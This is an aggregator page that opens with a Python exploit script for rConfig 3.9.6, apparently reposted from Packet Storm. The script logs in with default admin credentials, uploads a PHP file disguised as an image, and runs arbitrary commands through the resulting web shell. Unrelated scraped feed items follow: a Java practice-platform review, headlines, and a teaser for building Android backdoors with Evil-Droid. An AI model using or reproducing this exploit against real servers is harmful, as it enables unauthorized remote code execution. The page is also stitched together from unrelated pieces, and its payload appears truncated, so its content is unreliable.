Exploit Collector
rconfig 3.9.6 Shell Upload

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
rconfig versions 3.9.6 and below shell upload exploit. This is a variant of the flaw discovered in the same version by Murat Seker in March of 2021.

MD5 | b7f8097627500be08ead4a0bbb6d61eb

Download
# Exploit Title: rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2)
# Exploit Author: Vishwaraj Bhattrai
# Date: 18/04/2021
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/
# Vendor: rConfig
# Version: <=
# Tested against Server Host: Linux+XAMPP

import requests
import sys
s = requests.Session()

host=sys.argv[1] #Enter the hostname
cmd=sys.argv[2] #Enter the command

def exec_cmd(cmd,host):
print "[+]Executing command"
path="https://%s/images/vendor/x.php?cmd=%s"%(host,cmd)
response=requests.get(path)
print response.text
print "\n[+]You can access shell via below path"
print path

def file_upload(cmd,host):
print "[+]Bypassing file upload"
burp0_url = "https://"+host+":443/lib/crud/vendors.crud.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------3835647072299295753759313500", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/vendors.php", "Upgrade-Insecure-Requests": "1"}
burp0_cookies = {"_ga": "GA1.2.71516207.1614715346", "PHPSESSID": ""}
burp0_data = "-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorName\"\r\n\r\nCisco2\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorLogo\"; filename=\"banana.php\"\r\nContent-Type: image/gif\r\n\r\n<?php\n\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"add\"\r\n\r\nadd\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"editid\"\r\n\r\n\r\n-----------------------------3835647072299295753759313500--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=s.cookies,data=burp0_data)
exec_cmd(cmd,host)
def login(host,cmd):
print "[+]Logging in"
burp0_url = "https://"+host+":443/lib/crud/userprocess.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
response=s.post(burp0_url, headers=burp0_headers, cookies=s.cookies, data=burp0_data)
file_upload(cmd,host)

login(host,cmd)


Source:packetstormsecurity.com

Hacking Articles|Raj Chandel's Blog
Top Choices for Java Coding Practice

To get better at anything you do, you’ll need to do it repeatedly. The same applies to Java programming, and the more you do it, the better you become. It is generally known practice makes perfect. However, you need to learn Java from scratch before you think of practicing regularly.

A great way to develop new ways of thinking is to try coding. With the many available options and training tools, selecting an ideal option can be a little bit tricky. However, we have provided reliable platforms where you can get knowledge and daily Java programming practice. Read on!<o:p Java Practice Platforms<o:pCodeGym<o:phttps://1.bp.blogspot.com/-gUpeNuh0CWM/YIA_bmaOcPI/AAAAAAAAvbY/bPUraAZ6SwgwKNvaaFpQ6bhjSn8rZ0d1wCLcBGAsYHQ/s16000/image001.jpg Price<o:pCodeGym has a free plan in which you will get community content and answers to your questions about learning Java. For complete access to the platform, you’ll need the Premium subscription.<o:p

● Premium: Cost $49 per month, and you’ll get features like task requirements, IntelliJ IDEA plugin, task recommendations, and access to every CodeGym quests.<o:p

● Premium Pro:Cost $99 per month, and it includes all the Premium plan features, plus analysis of coding styles and ReCheck features.<o:p Description<o:pCodeGym is an online gamified Java programming course that features over 1,200 different tasks. Are you looking for a place to practice Java? CodeGym is what you’re looking for. There are so many good books that you can use to learn Java but to become a professional you will need more than just books.<o:p

Learning Java and becoming a programmer on CodeGym involves 20% learning the basics of Java and 80% of actual practice. There’s no better way to become a Java developer. Another interesting thing is that there are different tasks on the platform to complete. Even though there are many tasks, they are all clear, and you’d complete them with ease. With this, you can get all the experience you need for any job.<o:p

Learning Java on CodeGym is entertaining because it utilizes recent techniques to enhance learning and make it more productive and interesting. This platform is ideal and suitable for beginners because it will help them learn Java.<o:p Cyber-Dojo<o:phttps://1.bp.blogspot.com/-yXnuwxFwNRk/YIA_gebExVI/AAAAAAAAvbc/OEPahUxqjAcJNIaadC5b-SRe3DNg-jQewCLcBGAsYHQ/s16000/image003.jpg Price<o:pTo use Cyber-Dojo in a commercial organization, a license will be required. However, non-commercial use of this platform is completely free.<o:p Description<o:pCyber-Dojo is also a gamified learning platform that offers various challenges and exercises to help in practicing different programming languages. It also provides testing frameworks for each of the programming languages. The most popular languages you’ll find on this platform include Python, JavaScript, and Java.<o:p

The tasks have examples to give users an idea of how to solve them. Also, students can learn in groups or individually by selecting exercises to practice their preferred programming language. In each learning session, the student can write Java code and see their test results. Green color indicates pass, amber indicates the presence of syntax errors, and red means fail.<o:p

Cyber-Dojo is designed mainly to help people improve their skills.<o:p CodeChef<o:phttps://1.bp.blogspot.com/-X84jdfyPumQ/YIA_lF_xfHI/AAAAAAAAvbg/pkWpcxnXmcQJiG1hECpnldLQS5KEPfiNQCLcBGAsYHQ/s16000/image005.jpg Price<o:pCodeChef is a free platform.<o:p Description<o:pCodeChef is a programming community that is globally recognized for [...]

providing a friendly learning atmosphere. The community is built on one of the most competitive and largest programming platforms in the world. It comprises different problem curators, and there are different challenges designed to test student’s skills.<o:p

The platform was created to help people with all they need in the world of computer programming and algorithms. This platform is widely used by different organizations and institutions in the world. CodeChef features an in-browser coding window that allows users to write, run, and upload Java codes. There are different challenges to solve on the platform, and users will earn points for every correct answer.<o:p CodinGame<o:phttps://1.bp.blogspot.com/-m1jC8CkmymM/YIA_oxba1iI/AAAAAAAAvbk/047-tEMlrVwOvCq9ETVhKQcIpKuiN3MBwCLcBGAsYHQ/s16000/image007.jpg Price<o:pCodinGame offers a 14 days FREE TRIAL, after which you’ll need to subscribe for the GROWTH Package, which costs $349 per month, or buy the year subscription for Enterprise Package that will cost $249\mo.<o:p Description<o:pCodinGame is a versatile platform for all programmers, irrespective of their skill levels. There are different programming puzzles to help you learn and practice. The platform also features bot competitions in which you’ll compete against the bots created by other programmers. There’s also the Clash of Code battle that lasts for only 5 minutes.<o:p

This platform is a great place to learn programming languages and also practice all you’ve learned. There are different contests for you to participate in on the platform, and you won’t be restricted by time. CodinGame will help you advance your programming knowledge.<o:p Codecademy<o:phttps://1.bp.blogspot.com/-1YEZZK6vsxM/YIA_svRt9GI/AAAAAAAAvbs/4N_4sNQ7OvglyRldfNvsvUEiPcLACLYFgCLcBGAsYHQ/s16000/image009.jpg Price<o:pThe BASIC plan is free, while the PRO plan costs $19.99 per month. With the Pro pricing, you’ll get full access to the platform<o:p Description<o:pThis is a very popular education platform for programmers. Codecademy features several certified courses, all of which are properly structured. A vast majority of these courses are offered for free, but even the commercial classes are affordable.<o:p

Each of the courses on the platform has over 50 lectures and different interactive and engaging quizzes. You can also create your coding curriculum to simplify things for you.<o:p Conclusion<o:pThese five practice platforms will help you improve your Java knowledge. You don’t have to spend hours reading different books. What you need is a constant practice with strong support, and with these platforms, you can achieve that.<o:p

<o:p Meta Description<o:pLearning Java can be a tricky task if you don’t know where to begin. You don’t need textbooks, rather you need these five platforms to help you learnJava from scratch. <o:p

Dark Reading: Attacks/Breaches
Attackers Heavily Targeting VPN Vulnerabilities

Threat actors like attacking the technology because they provide a convenient entry point to enterprise networks.

hacking: security in practice
How to Install Any PS1 Game On PSP For Free - Convert ISO/CSO To EBOOT & Convert EBOOT To ISO/CSO

https://external-preview.redd.it/exUxfcgoiu9Atc1VzZz51ZE-e5BOPU_4qOTXepvTkeQ.jpg?width=320&crop=smart&auto=webp&s=a5a7bd5c0ef5af19a344987d3ad6d0337edd0ef5 submitted by /u/RANDOMDBZ
[link] [comments]

Hacking on Medium
Creating backdoor for applications with Evil-Droid

https://cdn-images-1.medium.com/max/750/1*1rU_qrkV0gK5cxdu63ixcw.jpeg
Considering the development of the portable market and the strength of the Android working framework, it just bodes well that android…

Continue reading on Medium »